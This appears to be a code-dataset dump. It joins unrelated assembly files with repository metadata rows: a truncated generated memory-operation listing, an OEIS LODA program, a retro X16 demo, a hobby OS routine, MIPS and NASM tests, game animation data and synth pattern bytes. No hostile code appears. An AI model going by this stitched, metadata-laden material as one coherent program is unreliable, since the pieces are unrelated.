{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': False}}
{'54': 16566}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
| 29.589744
| 2,999
| 0.655871
|
33fcd7ad203faddcaab403e4809eccf096d552b9
| 722
|
asm
|
Assembly
|
oeis/100/A100237.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/100/A100237.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/100/A100237.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A100237: Secondary diagonal of triangle A100235 divided by row number: a(n) = A100235(n+1,n)/(n+1) for n>=0.
; Submitted by Jamie Morken(s2)
; 1,4,21,109,566,2939,15261,79244,411481,2136649,11094726,57610279,299146121,1553340884,8065850541,41882593589,217478818486,1129276686019,5863862248581,30448587928924,158106801893201,820982597394929,4263019788867846,22136081541734159,114943427497538641,596853219029427364,3099209522644675461,16092900832252804669,83563713683908698806,433911469251796298699,2253121059942890192301,11699516768966247260204,60750704904774126493321,315453041292836879726809,1638015911368958525127366
mov $3,1
lpb $0
sub $0,1
mov $2,$3
add $3,$1
mov $1,$3
mul $3,5
sub $3,$2
lpe
mov $0,$3
| 48.133333
| 477
| 0.817175
|
a08adcbd3ec1b7585fed087103af382cae77181a
| 278
|
asm
|
Assembly
|
base/mvdm/wow16/user/msglayer.asm
|
npocmaka/Windows-Server-2003
|
5c6fe3db626b63a384230a1aa6b92ac416b0765f
|
[
"Unlicense"
] | 17
|
2020-11-13T13:42:52.000Z
|
2021-09-16T09:13:13.000Z
|
base/mvdm/wow16/user/msglayer.asm
|
sancho1952007/Windows-Server-2003
|
5c6fe3db626b63a384230a1aa6b92ac416b0765f
|
[
"Unlicense"
] | 2
|
2020-10-19T08:02:06.000Z
|
2020-10-19T08:23:18.000Z
|
base/mvdm/wow16/user/msglayer.asm
|
sancho1952007/Windows-Server-2003
|
5c6fe3db626b63a384230a1aa6b92ac416b0765f
|
[
"Unlicense"
] | 14
|
2020-11-14T09:43:20.000Z
|
2021-08-28T08:59:57.000Z
|
title LAYER.ASM - Parameter validation layer
.xlist
include layer.inc
LAYER_INCLUDE=1 ; to suppress including most of the stuff in user.inc
include user.inc
.list
.xall
include msglayer.inc
MESSAGE_START TEXT
include messages.api
MESSAGE_END
END
| 12.636364
| 71
| 0.726619
|
c478b35696a76b216c72d217bdb8ed6b15d9c9fe
| 311
|
asm
|
Assembly
|
CS21/asm/1.asm
|
rizarae/rizarae.github.io
|
58739a808f98dea652786657e9a9cfa9e97367d1
|
[
"MIT"
] | null | null | null |
CS21/asm/1.asm
|
rizarae/rizarae.github.io
|
58739a808f98dea652786657e9a9cfa9e97367d1
|
[
"MIT"
] | null | null | null |
CS21/asm/1.asm
|
rizarae/rizarae.github.io
|
58739a808f98dea652786657e9a9cfa9e97367d1
|
[
"MIT"
] | null | null | null |
# LAB 1
# lab lab
.text
main:
li $t1, 9 #load 9 to t1
li $t2, 38 #load 38 to t2 (displays 0x00000026)
li $t3, -421 #load -421 to t3 (displays -421 in 2's complement)
li $t4, 0x00001985 #loads 0x00001985 to t4
li $t5, 0xABCD0000 #loads 0xabcd0000 to t5
li $v0, 10 #syscall 10 (exit)
syscall
.data
| 22.214286
| 65
| 0.659164
|
29e08faf1e118d4f18d0325caf5adfca66f0ef68
| 60
|
asm
|
Assembly
|
gfx/pokemon/mr__mime/anim_idle.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
gfx/pokemon/mr__mime/anim_idle.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
gfx/pokemon/mr__mime/anim_idle.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
setrepeat 2
frame 0, 06
frame 6, 06
dorepeat 1
endanim
| 10
| 12
| 0.7
|
b96969f87e7c797ce11c4c975462044483fed231
| 11
|
asm
|
Assembly
|
libkdump/src/libkdump.asm
|
DrPizza/haunted-icecream
|
3de9596b72b679489e9b1efff93720181189239b
|
[
"Zlib"
] | 3
|
2018-01-09T22:18:02.000Z
|
2021-08-05T03:12:33.000Z
|
libkdump/src/libkdump.asm
|
DrPizza/haunted-icecream
|
3de9596b72b679489e9b1efff93720181189239b
|
[
"Zlib"
] | null | null | null |
libkdump/src/libkdump.asm
|
DrPizza/haunted-icecream
|
3de9596b72b679489e9b1efff93720181189239b
|
[
"Zlib"
] | 2
|
2018-01-15T09:37:52.000Z
|
2021-05-29T10:59:23.000Z
|
.code
END
| 2.75
| 5
| 0.636364
|
5430a9d517e8f8d26b4cabfd262d898e9df248d4
| 132
|
asm
|
Assembly
|
sys.asm
|
guenchi/ChezLispMachine
|
3d299b696d4a6e2ec7e61e947e809f7529ad053a
|
[
"MIT"
] | 6
|
2019-12-08T18:48:59.000Z
|
2021-04-28T17:36:13.000Z
|
sys.asm
|
guenchi/ChezLispMachine
|
3d299b696d4a6e2ec7e61e947e809f7529ad053a
|
[
"MIT"
] | null | null | null |
sys.asm
|
guenchi/ChezLispMachine
|
3d299b696d4a6e2ec7e61e947e809f7529ad053a
|
[
"MIT"
] | null | null | null |
org 0xc200
mov al, 0x13
mov ah, 0x00
int 0x10
fin:
hlt
jmp fin
| 14.666667
| 24
| 0.348485
|
b0f0975e5b8a90c725d70f5133ed77ba2913a0c0
| 6,917
|
asm
|
Assembly
|
x16-racer.asm
|
palisv/x16-racer
|
9f05a43faf5fdab807ab141b4ddc9e41f1986db1
|
[
"MIT"
] | null | null | null |
x16-racer.asm
|
palisv/x16-racer
|
9f05a43faf5fdab807ab141b4ddc9e41f1986db1
|
[
"MIT"
] | null | null | null |
x16-racer.asm
|
palisv/x16-racer
|
9f05a43faf5fdab807ab141b4ddc9e41f1986db1
|
[
"MIT"
] | null | null | null |
;=================================================
;=================================================
;
; Headers
;
;-------------------------------------------------
.include "vera.inc"
.include "system.inc"
.include "math.inc"
;=================================================
; Macros
;
;-------------------------------------------------
DEFAULT_SCREEN_ADDR = 0
DEFAULT_SCREEN_SIZE = (128*64)*2
SYS_HEADER_0801
;=================================================
;=================================================
;
; main code
;
;-------------------------------------------------
start:
SYS_INIT_IRQ
SYS_RAND_SEED $34, $56, $fe
jsr graphics_fade_out
jsr splash_do
jsr race_do
;
; Palette memory should now be all 0s, or a black screen.
; If only the composer gave us a brightness setting, I could
; have used that. Mei banfa.
;
VERA_SELECT_ADDR 0
VERA_SET_ADDR VRAM_layer1
VERA_WRITE ($01 << 5) | $01 ; Mode 1 (256-color text), enabled
VERA_WRITE %00000110 ; 8x8 tiles, 128x64 map
VERA_WRITE <(DEFAULT_SCREEN_ADDR >> 2) ; Map indices at VRAM address 0
VERA_WRITE >(DEFAULT_SCREEN_ADDR >> 2) ;
VERA_WRITE <(VROM_petscii >> 2) ; Tile data immediately after map indices
VERA_WRITE >(VROM_petscii >> 2) ; Tile data immediately after map indices
VERA_WRITE 0, 0, 0, 0 ; Hscroll and VScroll to 0
__start__fill_text_buffer_with_random_chars:
VERA_SET_ADDR DEFAULT_SCREEN_ADDR, 2
ldx #128
ldy #64
@yloop:
tya
pha
@xloop:
txa
jsr sys_rand
and #$7F
tay
lda Petscii_table,Y
sta VERA_data
tax
dex
bne @xloop
pla
tay
dey
bne @yloop
__start__offset_palette_of_each_column:
VERA_SET_ADDR DEFAULT_SCREEN_ADDR+1, 2
lda #128
@xloop:
pha
jsr sys_rand
; If we're about to assign palette index 0 (background), increment to 1
cmp #0
beq :+
clc
adc #1
: sta VERA_data
pla
sec
sbc #1
bne @xloop
__start__fill_palette_of_remaining_chars:
VERA_SET_ADDR (DEFAULT_SCREEN_ADDR+1), 2
VERA_SELECT_ADDR 1
VERA_SET_ADDR (DEFAULT_SCREEN_ADDR+257), 2
VERA_SELECT_ADDR 0
ldx #127
ldy #64
@yloop:
tya
pha
@xloop:
txa
pha
lda VERA_data
clc
adc #1
; If we're about to assign palette index 0 (background), increment to 1
cmp #0
bne :+
clc
adc #1
: sta VERA_data2
pla
tax
dex
bne @xloop
pla
tay
dey
bne @yloop
lda #<Matrix_palette
sta $FB
lda #>Matrix_palette
sta $FC
lda #((Matrix_palette_end - Matrix_palette) >> 1)
sta $FD
jsr graphics_fade_in
SYS_SET_IRQ irq_handler
cli
jmp *
; +VERA_RESET
;=================================================
;=================================================
;
; IRQ Handlers
;
;-------------------------------------------------
;=================================================
; irq_handler
; This is essentially my "do_frame". Several others have been doing this as well.
; Since the IRQ is triggered at the beginning of the VGA/NTSA front porch, we don't
; get the benefit of the entire VBLANK, but it's still useful as a "do this code
; once per frame" function.
;-------------------------------------------------
; INPUTS: (none)
;
;-------------------------------------------------
; MODIFIES: A, X, Y, VRAM_palette
;
irq_handler:
VERA_SELECT_ADDR 0
; Increment which palette index we're starting at
lda Palette_cycle_index
clc
adc #1
; Skip index zero, that's the background, we want to leave it black.
adc #0
sta Palette_cycle_index
;
; Palette cycle for the letters glowing and stuff
;
; Set the starting address of the VRAM palette we're going to cycle
asl ; Palette_cycle_index * 2 == Address offset into palette memory
; adc #<(VRAM_palette) ; We happen to know that #<(VRAM_palette) is 0. Being able to skip this also preserves Carry in case it was set
sta VERA_addr_low
lda #<(VRAM_palette >> 8)
adc #0 ; Add carry bit for indices 128-255
sta VERA_addr_high
lda #<(VRAM_palette >> 16) | (1 << 4)
sta VERA_addr_bank
lda #<Matrix_palette
sta $FB
lda #>Matrix_palette
sta $FC
ldx Palette_cycle_index
ldy #0
: lda ($FB),Y
sta VERA_data
iny
lda ($FB),Y
sta VERA_data
iny
inx
bne :+
VERA_SET_PALETTE 0, 1
: cpy #(Matrix_palette_end - Matrix_palette)
bne :--
;
; Palette cycle (redux) for double-density!
;
lda Palette_cycle_index
adc #127
clc
; Set the starting address of the VRAM palette we're going to cycle
asl ; Palette_cycle_index * 2 == Address offset into palette memory
; adc #<(VRAM_palette) ; We happen to know that #<(VRAM_palette) is 0. Being able to skip this also preserves Carry in case it was set
sta VERA_addr_low
lda #<(VRAM_palette >> 8)
adc #0 ; Add carry bit for indices 128-255
sta VERA_addr_high
lda #<(VRAM_palette >> 16) | (1 << 4)
sta VERA_addr_bank
lda #<Matrix_palette
sta $FB
lda #>Matrix_palette
sta $FC
lda Palette_cycle_index
adc #128
tax
ldy #0
: lda ($FB),Y
sta VERA_data
iny
lda ($FB),Y
sta VERA_data
iny
inx
bne :+
VERA_SET_PALETTE 0, 1
: cpy #(Matrix_palette_end - Matrix_palette)
bne :--
VERA_END_IRQ
SYS_END_IRQ
;=================================================
;=================================================
;
; Libs
;
;-------------------------------------------------
.include "system.asm"
.include "graphics.asm"
.include "splash.asm"
.include "race.asm"
.include "vera.asm"
;=================================================
;=================================================
;
; Data
;
;-------------------------------------------------
Petscii_table:
.repeat $60, i
.byte i
.endrep
.repeat $20, i
.byte i+$A0
.endrep
Matrix_palette:
.word $0000, $0000, $0020, $0020, $0030, $0030, $0040, $0040
.word $0050, $0050, $0060, $0060, $0070, $0070, $0080, $0080
.word $0090, $0090, $00A0, $00A0, $00B0, $00B0, $00C0, $00C0
.word $00D0, $00D0, $00E0, $00E0, $00F0, $00F0, $08FC
Matrix_palette_end:
Matrix_palette_rev:
.word $0000, $0000, $08FC, $00F0, $00F0, $00E0, $00E0, $00D0
.word $00D0, $00C0, $00C0, $00B0, $00B0, $00A0, $00A0, $0090
.word $0090, $0080, $0080, $0070, $0070, $0060, $0060, $0050
.word $0050, $0040, $0040, $0030, $0030, $0020, $0020
Matrix_palette_rev_end:
;=================================================
;=================================================
;
; Variables
;
;-------------------------------------------------
.include "x16-racer_vars.asm"
.include "graphics_vars.asm"
.include "system_vars.asm"
SYS_FOOTER
| 22.241158
| 138
| 0.525372
|
fde3fac7c1713f047843b3eda771917c2de8df0a
| 91
|
asm
|
Assembly
|
3rdParties/src/nasm/nasm-2.15.02/travis/test/br3109604.asm
|
blue3k/StormForge
|
1557e699a673ae9adcc8f987868139f601ec0887
|
[
"Apache-2.0"
] | 1
|
2020-06-20T07:35:25.000Z
|
2020-06-20T07:35:25.000Z
|
3rdParties/src/nasm/nasm-2.15.02/travis/test/br3109604.asm
|
blue3k/StormForge
|
1557e699a673ae9adcc8f987868139f601ec0887
|
[
"Apache-2.0"
] | null | null | null |
3rdParties/src/nasm/nasm-2.15.02/travis/test/br3109604.asm
|
blue3k/StormForge
|
1557e699a673ae9adcc8f987868139f601ec0887
|
[
"Apache-2.0"
] | null | null | null |
bits 64
b0: vmovd xmm2, [rdx+r9]
e0:
section .data
len: dd e0 - b0 ; Should be 6
| 13
| 31
| 0.582418
|
e3ac56681ebaa3850c2c44651b781d24ee59d35f
| 664
|
asm
|
Assembly
|
asm/asmfunc.asm
|
yoshitsugu/hariboteos_in_rust
|
22421a11b3b3812cf49e38fec2dcf968a3a3cee2
|
[
"MIT"
] | 29
|
2019-06-07T06:37:33.000Z
|
2021-08-17T12:15:50.000Z
|
asm/asmfunc.asm
|
yoshitsugu/hariboteos_in_rust
|
22421a11b3b3812cf49e38fec2dcf968a3a3cee2
|
[
"MIT"
] | 1
|
2021-01-12T05:04:55.000Z
|
2021-01-12T05:04:55.000Z
|
asm/asmfunc.asm
|
yoshitsugu/hariboteos_in_rust
|
22421a11b3b3812cf49e38fec2dcf968a3a3cee2
|
[
"MIT"
] | null | null | null |
[BITS 32] ; 32ビットモード用の機械語を作らせる
GLOBAL _start_app
_start_app: ; void start_app(int eip, int cs, int esp, int ds, int *tss_esp0);
PUSHAD ; 32ビットレジスタを全部保存しておく
MOV EAX,[ESP+36] ; アプリ用のEIP
MOV ECX,[ESP+40] ; アプリ用のCS
MOV EDX,[ESP+44] ; アプリ用のESP
MOV EBX,[ESP+48] ; アプリ用のDS/SS
MOV EBP,[ESP+52] ; tss.esp0の番地
MOV [EBP ],ESP ; OS用のESPを保存
MOV [EBP+4],SS ; OS用のSSを保存
MOV ES,BX
MOV DS,BX
MOV FS,BX
MOV GS,BX
; 以下はRETFでアプリに行かせるためのスタック調整
OR ECX,3 ; アプリ用のセグメント番号に3をORする
OR EBX,3 ; アプリ用のセグメント番号に3をORする
PUSH EBX ; アプリのSS
PUSH EDX ; アプリのESP
PUSH ECX ; アプリのCS
PUSH EAX ; アプリのEIP
RETF
; アプリが終了してもここには来ない
| 24.592593
| 79
| 0.649096
|
58b17a6712982f17e818f6a476ffe4e1cb3f9e19
| 92
|
asm
|
Assembly
|
Lab/hw3_2/Sources/main.asm
|
asheemchhetri/ECE362
|
f144be836356edd0feed18ee542afd9895e1081f
|
[
"MIT"
] | null | null | null |
Lab/hw3_2/Sources/main.asm
|
asheemchhetri/ECE362
|
f144be836356edd0feed18ee542afd9895e1081f
|
[
"MIT"
] | null | null | null |
Lab/hw3_2/Sources/main.asm
|
asheemchhetri/ECE362
|
f144be836356edd0feed18ee542afd9895e1081f
|
[
"MIT"
] | null | null | null |
org $8000
ldd #$279A
ldy #$FED5
emuls
sty product
std product+2
product rmb 4
| 11.5
| 15
| 0.630435
|
1d9d9a34f81b8179697f9172bd99cb8b631b28ba
| 116,089
|
asm
|
Assembly
|
src/synth.asm
|
faemiyah/faemiyah-demoscene_2018-08_40k-intro_cassini
|
946843e1a9298d4399052e747557c997dc017271
|
[
"BSD-3-Clause"
] | 7
|
2018-08-04T18:41:42.000Z
|
2020-01-19T09:36:32.000Z
|
src/synth.asm
|
faemiyah/faemiyah-demoscene_2018-08_40k-intro_cassini
|
946843e1a9298d4399052e747557c997dc017271
|
[
"BSD-3-Clause"
] | null | null | null |
src/synth.asm
|
faemiyah/faemiyah-demoscene_2018-08_40k-intro_cassini
|
946843e1a9298d4399052e747557c997dc017271
|
[
"BSD-3-Clause"
] | 2
|
2020-01-19T13:25:36.000Z
|
2020-06-20T14:48:57.000Z
|
.data
fc1:
.byte 0x00
.byte 0x00
.byte 0x53
.byte 0x40
global_volume:
.byte 0x00
.byte 0x00
.byte 0x80
.byte 0x3f
end_fade:
.byte 0x00
.byte 0xfe
.byte 0x7f
.byte 0x3f
delay_dry:
.byte 0x00
.byte 0xcc
.byte 0xcc
.byte 0x3e
stereo_mod:
.byte 0x00
.byte 0x62
.byte 0x80
.byte 0x3f
main_tune:
.byte 0x00
.byte 0x65
.byte 0x42
.byte 0x39
oct_semitones:
.long 12
patterns:
.byte 60
.byte 36
.byte 36
.byte 64
.byte 0
.byte 79
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 53
.byte 65
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 41
.byte 60
.byte 0
.byte 60
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 65
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 188
.byte 53
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 62
.byte 0
.byte 0
.byte 60
.byte 32
.byte 44
.byte 63
.byte 0
.byte 75
.byte 60
.byte 68
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 63
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 75
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 75
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 60
.byte 0
.byte 75
.byte 60
.byte 75
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
